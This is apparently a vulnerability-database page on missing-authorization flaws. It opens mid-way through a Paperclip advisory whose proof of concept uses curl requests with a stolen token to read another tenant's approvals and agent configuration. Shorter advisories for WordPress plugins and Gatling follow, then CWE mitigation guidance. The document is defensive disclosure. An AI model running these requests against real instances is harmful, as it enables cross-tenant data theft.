\"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/approvals\n# -\u003e 200 [ ...every approval in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT\n# -\u003e 200 { ...full agent config incl. adapter settings... }\n```\n\nObserved outputs (all verified on live instance at time of submission):\n\n- `POST /api/agents/:id/keys` \u2192 **201** with plaintext `token` bound to\n  the victim\u0027s `companyId`\n- `GET /api/companies/:victimId` \u2192 **200** full company metadata\n- `GET /api/companies/:victimId/issues` \u2192 **200** issue list\n- `GET /api/companies/:victimId/agents` \u2192 **200** agent list\n- `GET /api/companies/:victimId/approvals` \u2192 **200** approval list\n\n### Impact\n\n- **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639,\n  CWE-862, CWE-1220)\n- **Who is impacted:** every paperclip instance running in `authenticated`\n  mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is\n  the documented multi-user configuration and the default in\n  `docker/docker-compose.quickstart.yml`.\n- **Confidentiality:** HIGH. Any signed-up user can read another tenant\u0027s\n  company metadata, issues, approvals, runs, and agent configuration (which\n  includes adapter URLs, model settings, and references to stored secret\n  bindings).\n- **Integrity:** HIGH. The minted token is a persistent agent credential\n  that authenticates for every `assertCompanyAccess`-gated agent-scoped\n  mutation in the victim tenant (issue/run updates, self-wakeup with\n  attacker-controlled payloads, adapter execution via the agent\u0027s own\n  adapter, etc.).\n- **Availability:** HIGH. The attacker can `pause`, `terminate`, or\n  `DELETE` any agent in any company via the sibling `assertBoard`-only\n  handlers (`/agents/:id/pause`, `/resume`, `/terminate`,\n  `DELETE /agents/:id`).\n- **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added\n  `assertInstanceAdmin` on `POST /companies/import` and closed the disclosed\n  chain, but the same root cause (`assertBoard` treated as sufficient where\n  `assertCompanyAccess` is required on a cross-tenant resource, or where\n  `assertInstanceAdmin` is required on an instance-global resource) is\n  present in multiple other handlers. The import fix did not audit sibling\n  routes. This report is an instance of that same class the prior advisory\n  did not cover.\n\nSeverity is driven by the fact that every precondition is default, the bug\nis reachable by any signed-up user with zero memberships, and the stolen\ntoken persists across sessions until manually revoked.\n\n### Suggested Fix\n\nIn `server/src/routes/agents.ts`, replace each of the three `/keys` handlers\nso they load the target agent first and enforce company access:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n  assertBoard(req);\n  const id = req.params.id as string;\n  const agent = await svc.getById(id);\n  if (!agent) {\n    res.status(404).json({ error: \"Agent not found\" });\n    return;\n  }\n  assertCompanyAccess(req, agent.companyId);\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n  assertBoard(req);\n  const id = req.params.id as string;\n  const agent = await svc.getById(id);\n  if (!agent) {\n    res.status(404).json({ error: \"Agent not found\" });\n    return;\n  }\n  assertCompanyAccess(req, agent.companyId);\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n  assertBoard(req);\n  const keyId = req.params.keyId as string;\n  // Look up the key to find its agentId/companyId, then:\n  const key = await svc.getKeyById(keyId);\n  if (!key) { res.status(404).json({ error: \"Key not found\" }); return; }\n  assertCompanyAccess(req, key.companyId);\n  await svc.revokeKey(keyId);\n  res.json({ ok: true });\n});\n```\n\nWhile fixing this, audit the sibling lifecycle handlers at lines 1962-2048\n(`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which\nshare the same bug.\n\nDefense in depth: consider a code-wide sweep for `assertBoard(req)` calls\nthat are not immediately followed by `assertCompanyAccess` or\n`assertInstanceAdmin` \u2014 the 2026.410.0 patch focused on one handler but the\npattern is systemic.\n\n### Patch Status\n\n- Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest`\n  digest `sha256:baa9926e...`, commit `b649bd4`\n  (`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import\n  bypass fix.\n- The bug is still present on that revision. PoC reproduced end-to-end\n  against an unmodified container.\n\n### Credits\n\nDiscovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an\nAI-assisted security scanner, during variant-hunt analysis of\nGHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip\ninstance.",
  "id": "GHSA-47wq-cj9q-wpmp",
  "modified": "2026-04-16T22:48:32Z",
  "published": "2026-04-16T22:48:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-47wq-cj9q-wpmp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys"
}

GHSA-47X2-3WFG-624P

Vulnerability from github – Published: 2026-04-21 09:31 – Updated: 2026-04-21 09:31
VLAI
Details

The Responsive Blocks – Page Builder for Blocks & Patterns plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 2.2.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to modify global site-wide plugin configuration options, including toggling custom CSS, disabling blocks, changing layout defaults such as content width, container padding, and container gap, and altering auto-block-recovery behavior.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-6703"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T07:16:09Z",
    "severity": "MODERATE"
  },
  "details": "The Responsive Blocks \u2013 Page Builder for Blocks \u0026 Patterns plugin for WordPress is vulnerable to unauthorized access in all versions up to, and including, 2.2.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to modify global site-wide plugin configuration options, including toggling custom CSS, disabling blocks, changing layout defaults such as content width, container padding, and container gap, and altering auto-block-recovery behavior.",
  "id": "GHSA-47x2-3wfg-624p",
  "modified": "2026-04-21T09:31:07Z",
  "published": "2026-04-21T09:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6703"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/tags/2.2.0/includes/class-responsive-block-editor-addons.php#L1730"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/tags/2.2.0/includes/class-responsive-block-editor-addons.php#L1814"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/tags/2.2.0/includes/class-responsive-block-editor-addons.php#L668"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/trunk/includes/class-responsive-block-editor-addons.php#L1730"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/trunk/includes/class-responsive-block-editor-addons.php#L1814"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/responsive-block-editor-addons/trunk/includes/class-responsive-block-editor-addons.php#L668"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3465616"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/187b072d-6314-4ac1-a924-b14324b2fd8d?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-47XG-JGGC-W6C4

Vulnerability from github – Published: 2025-08-06 15:31 – Updated: 2025-08-06 21:31
VLAI
Details

In Gatling Enterprise versions below 1.25.0, a low-privileged user that does not hold the role "admin" could perform a REST API call on read-only endpoints, allowing him to collect some information, due to missing authorization checks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-51308"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-06T15:15:32Z",
    "severity": "MODERATE"
  },
  "details": "In Gatling Enterprise versions below 1.25.0, a low-privileged user that does not hold the role \"admin\" could perform a REST API call on read-only endpoints, allowing him to collect some information, due to missing authorization checks.",
  "id": "GHSA-47xg-jggc-w6c4",
  "modified": "2025-08-06T21:31:39Z",
  "published": "2025-08-06T15:31:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51308"
    },
    {
      "type": "WEB",
      "url": "https://gatling.io/products"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Flo354/vulnerabilities/blob/main/gatling-enterprise/CVE-2025-51308-broken-access-control.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Flo354/vulnerabilities/tree/main/gatling-enterprise"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-482J-RHMJ-W9W6

Vulnerability from github – Published: 2024-05-16 12:30 – Updated: 2026-04-08 21:32
VLAI
Details

The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the 'get_calendar_materials' function. The plugin is also vulnerable to SQL Injection via the ‘year’ parameter of that function due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level permissions and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-4352"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-16T10:15:10Z",
    "severity": "HIGH"
  },
  "details": "The Tutor LMS Pro plugin for WordPress is vulnerable to unauthorized access of data, modification of data, loss of data due to a missing capability check on the \u0027get_calendar_materials\u0027 function. The plugin is also vulnerable to SQL Injection via the \u2018year\u2019 parameter of that function due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with subscriber-level permissions and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.",
  "id": "GHSA-482j-rhmj-w9w6",
  "modified": "2026-04-08T21:32:37Z",
  "published": "2024-05-16T12:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4352"
    },
    {
      "type": "WEB",
      "url": "https://www.themeum.com/product/tutor-lms"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c647beda-cf73-4372-975f-a8c8ed05217f?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.